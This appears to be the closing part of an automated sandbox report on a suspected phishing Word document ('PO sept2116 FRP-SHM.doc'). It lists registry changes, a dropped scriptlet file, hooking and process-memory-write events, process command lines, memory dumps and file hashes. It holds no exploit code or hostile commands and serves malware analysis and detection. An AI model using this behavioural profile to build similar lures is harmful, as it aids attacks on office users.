| Key created | \Registry\User\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_3f7a | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_CLASSES\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPCONTAINER\MAPPINGS\S-1-15-2-2655489379-1601221536-1756726240-1460485878-27669589-255327476-2886430322\CHILDREN | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key created | \Registry\User\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_3f7a\Children | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_CLASSES\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPCONTAINER\STORAGE\OICE_16_974FA576_32C1D314_3F7A\CHILDREN | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_3f7a | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2655489379-1601221536-1756726240-1460485878-27669589-255327476-2886430322 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key created | \Registry\User\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2655489379-1601221536-1756726240-1460485878-27669589-255327476-2886430322 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2655489379-1601221536-1756726240-1460485878-27669589-255327476-2886430322\DisplayName = "OICE_16_974FA576_32C1D314_3F7A" | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2655489379-1601221536-1756726240-1460485878-27669589-255327476-2886430322\Moniker = "oice_16_974fa576_32c1d314_3f7a" | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
NTFS ADS
| Description | Indicator | Process | Target |
| File opened for modification | C:\Users\Admin\AppData\Local\Temp\{E749516F-38D3-4FA8-B9F6-114096C744F8}\abdtfhghgeghDh.ScT:Zone.Identifier | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 628 wrote to memory of 3928 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE |
| PID 628 wrote to memory of 3928 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE |
Processes
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO sept2116 FRP-SHM.doc" /o ""
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE
"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE" C:\Program Files\Common Files\Microsoft Shared\GRPHFLT\PNG32.FLT
Network
Files
memory/628-114-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp
memory/628-115-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp
memory/628-116-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp
memory/628-117-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp
memory/628-119-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp
memory/628-118-0x00007FFF71E90000-0x00007FFF749B3000-memory.dmp
memory/628-122-0x0000025AA6C50000-0x0000025AA7D3E000-memory.dmp
memory/628-123-0x00007FFF6A4B0000-0x00007FFF6C3A5000-memory.dmp
memory/3928-360-0x0000000000000000-mapping.dmp
memory/3928-362-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp
memory/3928-363-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp
memory/3928-364-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp
memory/3928-365-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp
C:\Users\Admin\AppData\Local\Packages\oice_16_974fa576_32c1d314_3f7a\AC\Temp\FLE615.tmp
| MD5 | 0758e384887aa003836be27fcd16d179 |
| SHA1 | f991b1da1c6167d1bf3b55cfe821a7ad8b46dd3b |
| SHA256 | ec38d435cb9abfbc1fc9c9165b1fc6f1a7cf3028126fb08bf2a33ce842b038ce |
| SHA512 | 90d60153551a47adc862503b9cfc365a8778a4e077ace01a2336cdefd39cdc1d11dce81c176aa58cd1524b1a00fa867ec391fd1396bd271730e73857f01ac0e8 |